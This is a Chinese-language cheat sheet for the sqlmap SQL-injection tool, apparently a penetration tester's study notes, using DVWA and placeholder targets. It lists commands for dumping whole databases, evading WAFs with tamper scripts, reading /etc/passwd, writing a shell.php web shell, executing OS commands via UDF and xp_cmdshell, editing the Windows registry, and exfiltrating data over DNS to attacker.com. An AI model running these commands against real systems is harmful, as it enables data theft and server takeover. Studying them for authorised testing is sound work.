Sqlmap的安装:
#apt-get install git
# git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
在线升级: #sqlmap –update
离线升级:# git pull
指纹信息,查看一些版本
-f , --fingerprint, -b , --banner
--answer --check-waf --hpp --identify-waf
--tamper参数绕过waf
http://blog.csdn.net/hxsstar/article/details/22782627
脱裤常用参数
--current-user 操作系统用户
--current-db 当前库名
--dbs 所有库名
--hostname
--users 数据库管理员
--privileges –U 查管理员权限(CU 表示当前用户)
--roles 查数据库角色
–D dvwa --tables, --exclude-sysdbs 查表
-D dvwa -T users --columns 查users表中的列
--schema --batch --exclude-sysdbs 查information_schema中的表结构
--batch表示过程中都选择默认选项 --exclude-sysdbs表示忽略系统表,只查有价值的表
--count 对表计数
Dump脱裤,慎用!
--dump, -C, -T, -D, --start, --stop(部分脱裤)
--dump-all --exclude-sysdbs (直接都脱)
--sql-query "select * from users"(自己的命令脱裤)
当数据库管理员比较安全,没法顺利脱裤,只能利用字典拆解表名列名:
--common-tables --common-columns
sqlmap之tamper脚本
--eval只能改变自己的变量
--tamper才能改变真正的payload
gedit my_tamper.py
cp my_tamper.py /usr/share/sqlmap/tamper/
sqlmap -u "http://127.0.0.1/index.php?id=1" --tamper="my_tamper.py" --os="linux" --dbms="mysql" --random-agent -v3
其中my_tamper格式如下
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("'", "")
Sqlmap之操作系统命令执行
--udf-inject --shared-lib
编译共享库并上传实现UDF高级注入
Linux: share object文件 windows:DLL文件
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-systemfull-control-whitepaper-4633857
#--file-read="/etc/passwd"
#--file-write="shell.php" --file-dest "/tmp/shell.php"
Mysql 和postgresql:上传共享库并生成sys_exec()、sys_eval()这两个UDF
Mssql:利用xp_cmdshell,有就用,禁就启,没有就新建
#--sql-shell (Mysql)
#--os-shell (postgresql)
#--os-cmd (Mssql)
Windows下对注册表的利用:
--reg-read (读注册表)
--reg-add (写注册表)
--reg-del (删注册表)
--reg-key --reg-value --reg-data --reg-type (注册表参数)
example:
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
通过get方式进行sql注入扫描
#sqlmap -u “url” -p 指定变量名
-users 查看数据库管理账号
-f指纹探测数据库类型 (通过get方式对url进行注入)
--banner 查看数据库版本信息
--dbs(查看有哪些库)
-schema(查看schema库来获得所有库表列结构信息)
-a(把能查的都查出来)
批量扫描:
sqlmap -m list.txt -参数 --参数
调用google api来扫描,国内需要设置代理链:
sqlmap.py -g "inurl:".php?id=1"" --proxy="http://127.0.0.1:8087"
数据库直连
sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f -users --banner --dbs --schema -a
sqlmap结合burpsuite使用post方式来注入
利用proxy截断http请求并保存为requst.txt (推荐)
#sqlmap -r request.txt
利用burp中的option设置,勾选保存proxy的request请求日志,保存为log.txt
#sqlmap -l log.txt
sqlmap支持https:
sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
定义完各种情况下的扫描配置文件后,直接引用扫描
#dpkg -L sqlmap | grep sqlmap.conf
#sqlmap -c sqlmap.conf
--data 和 cookie的设置
sqlmap中http头的一些设置
手动指定:--user-agent=””
调用sqlmap库的--random-agent
Sqlmap检查user-agent中的注入点:--level=3(其实>=3都会检查)
Host头:--host=””(level=5)
Referer头:--referer=”” (level>=3)
额外的特殊头:--headers="Host:www.a.com\nUser-Agent:yuanfh"
扫描时可以指定方法:--method=GET/POST
基于http协议的身份认证,或者基于客户端证书的认证
sqlmap的代理设置
--proxy="http://127.0.0.1:8087"
若代理需要密码; --proxy-cred="name:pass"
若是系统级的代理,但却要扫内网: --ignore-proxy
比如用XX-net代理扫描:sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" --dbs
--delay --timeout --retries --randomize (超时保护)
--scope利用burp的日志结合正则表达式来筛选
--safe-url /--safe-freq 隔几次注入就发一次正确的请求,防止服务器销毁seesion
--skip-urlencode 对于一些特殊的服务器,提交数据时不接受url编码
--eval特殊情况下,可以自己写脚本来帮助自动化处理
性能优化:--predict-output --keep-alive --null-connection --threads -o
-p 指定注入参数 –skip 跳过注入参数 *来标记url中隐藏的注入参数
确定数据库类型后可以用--dbms=’’ ’’来指定库的类型,从而大大提高效率:
--os指定服务器操作系统化 --invalid-bignum / --invalid-logical 指定使参数失效的方式 --no-cast 对待老版mysql可能会用到
--no-escape 取消默认的sqlmap对注入时字符的char()编译
--prefix “”/--suffix “”特殊情况下变量的取值格式特殊,需要加前缀和后缀
--tamper 混淆脚本用于绕过waf、IPS
#sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="between.py, randomcase.py, space2comment.py" -v 3
# dpkg -L sqlmap | grep tamper (找要引用的脚本)
-v 3是为了显示更加详细的内容
--level
1-5级(默认1)
/usr/share/sqlmap/xml/payloads
--risk
1-4(默认1/无害)
Risk升高可造成数据被篡改等风险(update)
--string, --not-string, --regexp, --code, --text-only, --titles
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阂值变化,此时需要人为指定标识真假的字符串
默认使用全部注入技术
B:Boolean一based blind
E:Error-based
U:Union query一based
S: Stacked queries(文件系统、操作系统、注册表必须)
T:Time一based blind
--time-sec
基于时间的盲注时延长时间
--union-cols
默认联合查询1一10列,随一evel增加最多支持50列,
也可--union-cols 6-9
--union-char
联合查询默认使用null,极端情况下null可能失败,此时可以手动指定数值
如:--union-char 123
--dns-domain
控制了dns服务器后可以用这个参数加快脱裤速度,--dns-domain attacker.com
--second-order
在一个页面注入的结果,从另一个页面体现出来时可以用
--second-order http://.....